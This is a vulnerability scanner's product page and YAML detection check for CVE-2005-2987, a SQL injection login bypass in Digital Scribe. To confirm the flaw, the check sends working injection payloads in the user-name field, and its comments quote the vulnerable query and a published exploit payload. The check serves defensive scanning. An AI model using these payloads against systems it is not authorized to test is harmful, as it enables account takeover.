Digital Scribe — 1 vulnerability check

noctis ships 1 vulnerability check for Digital Scribe, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Digital Scribe login.php SQL injection authentication bypass

CVECVE-2005-2987
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/digital-scribe/CVE-2005-2987.yaml

Looks for the Digital Scribe login page (login.php titled "Login Page" with the Digital Scribe footer) under /DigitalScribe, /digitalscribe, /scribe and the web root. It then posts two logins whose user name ends in an SQL condition: an always-false one (<random>" or N=N+1 limit 1-- -) and an always-true one (<random>" or N=N limit 1-- -). The finding fires when the true condition opens a session (redirect to the administration or teacher area, or an account activation message) while the false one gets the "incorrect login and password combination" answer: the user name is evaluated inside the login SQL query and the password check is bypassed. When the injection gives no result but the footer shows Digital Scribe v.1.4 or older, the CVE is reported from the version alone, with lower confidence. Both requests are ordinary login attempts; no data is read or changed.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/login.php
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request POST {{dir}}/login.php with a crafted body
  5. HTTP(S) request POST {{dir}}/login.php with a crafted body
  6. Parses / computes the next value with a Rhai script
  7. Checks v.st for . → finding QoD 97: Digital Scribe login.php SQL injection authentication bypass
  8. Checks v.st for . → finding QoD 75: Digital Scribe login.php SQL injection authentication bypass
  9. Checks fp.ver for ^[0-9] → finding QoD 70: Digital Scribe <= 1.4 login.php SQL injection (version)

References:

Feed source — tests/vulnerabilities/digital-scribe/CVE-2005-2987.yaml
# Digital Scribe <= 1.4 login.php SQL injection authentication bypass (CVE-2005-2987).
#
# Ported from OpenVAS/Greenbone NVT `pre2008/digital_scribe_login_sql_inject.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.19770, GPL-2.0-only). The NASL only GETs <dir>/login.php
# (/DigitalScribe, /scribe and the CGI dirs) and reports "<TITLE>Login Page</TITLE>"
# plus the footer regex `www\.digital-scribe\.org>Digital Scribe v\.1\.[0-4]$</A>`.
#
# Vulnerable code (DigitalScribe1.4.zip, sourceforge.net/projects/digitalscribe, login.php):
#   $mdpass=MD5($HTTP_POST_VARS['pass1']);
#   $query = "SELECT ID,level FROM ds_teachers where pass='$mdpass' AND user=\"$HTTP_POST_VARS[username]\"";
# The first matching row starts a session: level 1 → Location: admin/admin.php, 3 →
# teacher/teacheradmin.php, 4 → teacher/announceadmin.php, 0/2/5/6 → an "account ...
# activated" message; no row → "You have submited an incorrect login and password
# combination". 1.4.1 strips every non-alphanumeric character from the user name
# (sanitize_paranoid_string), 1.5 uses mysqli_real_escape_string. Reference payload
# (rgod, EDB-26262): login `" or isnull(1/0) /*`.
#
# Better than the NASL:
#   - The NASL footer regex can never match a real install: the footer reads
#     `<A HREF=http://www.digital-scribe.org>Digital Scribe v.1.4</a>` (lower-case </a>,
#     and the `$` anchor sits before `</A>`), so OpenVAS misses every install. This feed
#     really exploits the login instead.
#   - Payload with random operands, <rand>" or N=N limit 1-- - in the user name, and a
#     control login with the false condition N=N+1 that must get the product's
#     "incorrect login" message: true/false differential, QoD 97. Control without a
#     reply → QoD 75.
#   - Installs where the injection cannot work (magic_quotes_gpc on, which escapes the
#     double quote, or an empty teacher table) but whose footer shows v.1.4 or older are
#     still reported from the version, QoD 70. 1.4.1 and later are not reported.
#   - Also tries /digitalscribe and the web root.
#   - A PHP warning printed before header() (display_errors on) drops the Location header;
#     such installs fall back to the QoD 70 version finding.
# Both requests are plain login attempts; nothing is read or written.
uid: d4d9d8f3-b598-465c-8f96-1fd6a369dabd
name: "Digital Scribe login.php SQL injection authentication bypass"
description: >-
  Looks for the Digital Scribe login page (login.php titled "Login Page" with the
  Digital Scribe footer) under /DigitalScribe, /digitalscribe, /scribe and the web
  root. It then posts two logins whose user name ends in an SQL condition: an
  always-false one (<random>" or N=N+1 limit 1-- -) and an always-true one
  (<random>" or N=N limit 1-- -). The finding fires when the true condition opens
  a session (redirect to the administration or teacher area, or an account
  activation message) while the false one gets the "incorrect login and password
  combination" answer: the user name is evaluated inside the login SQL query and the
  password check is bypassed. When the injection gives no result but the footer
  shows Digital Scribe v.1.4 or older, the CVE is reported from the version alone,
  with lower confidence. Both requests are ordinary login attempts; no data is read
  or changed.
category: sqli
cves: [CVE-2005-2987]
cvss: 7.5
severity: high
confidence_base: 0.30
tags: [digital-scribe, php, sqli, auth-bypass, web-application]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2005-2987"
  - "https://www.exploit-db.com/exploits/26262"
  - "http://www.securityfocus.com/bid/14843"
  - "https://sourceforge.net/projects/digitalscribe/"

steps:
  # Shared random values: user name / password prefixes and the condition operands.
  - id: gen
    action: script
    code: |
      let n = rand_int(1000, 9999);
      #{ u: rand_str(8), p: rand_str(10), n: n, f: n + 1 }
    store_as: rv

  # Loop group: every following step runs once per directory. Pre-initialise the
  # stored results so a failed request never leaves them undefined or holding the
  # previous directory's reply.
  - id: init-page
    action: set_var
    var_name: page
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["/DigitalScribe", "/digitalscribe", "/scribe", ""]

  - id: init-ctl
    action: set_var
    var_name: ctl
    var_value: {status: 0, body: "", headers: {}}

  - id: init-inj
    action: set_var
    var_name: inj
    var_value: {status: 0, body: "", headers: {}}

  - id: login-page
    action: http_request
    method: GET
    path: "{{dir}}/login.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: page

  - id: gate
    action: script
    code: |
      let b = if type_of(page.body) == "string" { page.body } else { "" };
      let ok = page.status == 200 && ereg("<title>Login Page</title>", b, true)
        && ereg("digital-scribe\\.org|Digital Scribe", b, true)
        && ereg("name=\"?username", b, true);
      let m = eregmatch("Digital Scribe v\\.?\\s*([0-9]+(\\.[0-9]+)*)", b, true);
      let ver = if ok && type_of(m) == "array" && m.len() > 1 { m[1] } else { "unknown" };
      let old = ver != "unknown" && ereg("^(0\\.[0-9.]+|1\\.[0-3](\\.[0-9]+)*|1\\.4)$", ver);
      #{ ok: ok, ver: ver, old: old }
    store_as: fp

  # Control: false condition of the same shape — must be rejected as a wrong login.
  - id: control
    action: http_request
    method: POST
    path: "{{dir}}/login.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "fp.ok"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
      Referer: "{{scheme}}://{{target_host}}:{{port}}{{dir}}/login.php"
    body: "username={{rv.u}}%22+or+{{rv.n}}%3D{{rv.f}}+limit+1--+-&pass1={{rv.p}}&submit=Login"
    store_as: ctl

  # Injection: always-true condition — the first teacher row logs in.
  - id: inject
    action: http_request
    method: POST
    path: "{{dir}}/login.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "fp.ok"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
      Referer: "{{scheme}}://{{target_host}}:{{port}}{{dir}}/login.php"
    body: "username={{rv.u}}%22+or+{{rv.n}}%3D{{rv.n}}+limit+1--+-&pass1={{rv.p}}&submit=Login"
    store_as: inj

  - id: verdict
    action: script
    code: |
      fn body(r) {
        if type_of(r) == "map" && type_of(r.body) == "string" { r.body } else { "" }
      }
      fn loc(r) {
        if type_of(r) == "map" && type_of(r.headers) == "map" && "location" in r.headers
          && type_of(r.headers["location"]) == "string" { r.headers["location"] } else { "" }
      }
      fn session(r) {
        let st = if type_of(r) == "map" { r.status } else { 0 };
        let l = loc(r);
        if st >= 300 && st < 400 && ereg("(^|/)(admin/admin|teacher/teacheradmin|teacher/announceadmin)\\.php", l, true) {
          "a redirect to " + l
        } else if ereg("Your account has (been de-activated|yet to be activated)", body(r)) {
          "an account activation message"
        } else { "" }
      }
      fn rejected(r) {
        ereg("incorrect login and password combination", body(r))
      }
      let hit = if fp.ok { session(inj) } else { "" };
      let ctl_none = type_of(ctl) != "map" || ctl.status == 0;
      let ctl_rej = rejected(ctl) && session(ctl) == "";
      #{ sqli: hit != "" && ctl_rej, sqli_noctl: hit != "" && ctl_none,
         ver_only: fp.ok && fp.old && !(hit != "" && (ctl_rej || ctl_none)),
         how: hit, st: if hit != "" { "" + inj.status } else { "" } }
    store_as: v

  - id: sqli-confirmed
    action: match
    source: v.st
    pattern: "."
    condition: "v.sqli"
    on_match:
      finding:
        cves: [CVE-2005-2987]
        title: "Digital Scribe login.php SQL injection authentication bypass"
        description: "The Digital Scribe login page (login.php) places the submitted user name inside a double-quoted string of its SQL login query without escaping it, so an unauthenticated attacker bypasses the password check and logs in as the first account, usually the administrator."
        confidence_delta: 0.65
        qod: 97
        evidence: "Digital Scribe {{fp.ver}} at {{dir}}/login.php: the user name {{rv.u}}\" or {{rv.n}}={{rv.n}} limit 1-- - answered status {{v.st}} with {{v.how}} (session opened); the same login with the false condition {{rv.n}}={{rv.f}} got \"You have submited an incorrect login and password combination\"."
        remediation: "Upgrade Digital Scribe to 1.4.1 or later (1.5 escapes the user name), or restrict access to the application to trusted users."
      stop: true

  - id: sqli-unconfirmed-control
    action: match
    source: v.st
    pattern: "."
    condition: "v.sqli_noctl"
    on_match:
      finding:
        cves: [CVE-2005-2987]
        title: "Digital Scribe login.php SQL injection authentication bypass"
        description: "The Digital Scribe login page (login.php) places the submitted user name inside a double-quoted string of its SQL login query without escaping it, so an unauthenticated attacker bypasses the password check and logs in as the first account, usually the administrator."
        confidence_delta: 0.50
        qod: 75
        evidence: "Digital Scribe {{fp.ver}} at {{dir}}/login.php: the user name {{rv.u}}\" or {{rv.n}}={{rv.n}} limit 1-- - answered status {{v.st}} with {{v.how}} (session opened); the false-condition control login got no reply."
        remediation: "Upgrade Digital Scribe to 1.4.1 or later (1.5 escapes the user name), or restrict access to the application to trusted users."
      stop: true

  - id: version-only
    action: match
    source: fp.ver
    pattern: "^[0-9]"
    condition: "v.ver_only"
    on_match:
      finding:
        cves: [CVE-2005-2987]
        title: "Digital Scribe <= 1.4 login.php SQL injection (version)"
        description: "The Digital Scribe footer reports a release up to 1.4, whose login.php places the user name unescaped inside its SQL login query. The login bypass probe did not open a session (for example because magic_quotes_gpc escapes the double quote, or no account exists yet), so this finding rests on the version only."
        confidence_delta: 0.40
        qod: 70
        evidence: "{{dir}}/login.php footer shows \"Digital Scribe v.{{fp.ver}}\" (1.4.1 is the first fixed release); the true-condition login did not open a session."
        remediation: "Upgrade Digital Scribe to 1.4.1 or later (1.5 escapes the user name), or restrict access to the application to trusted users."
      stop: true

View these feeds on GitHub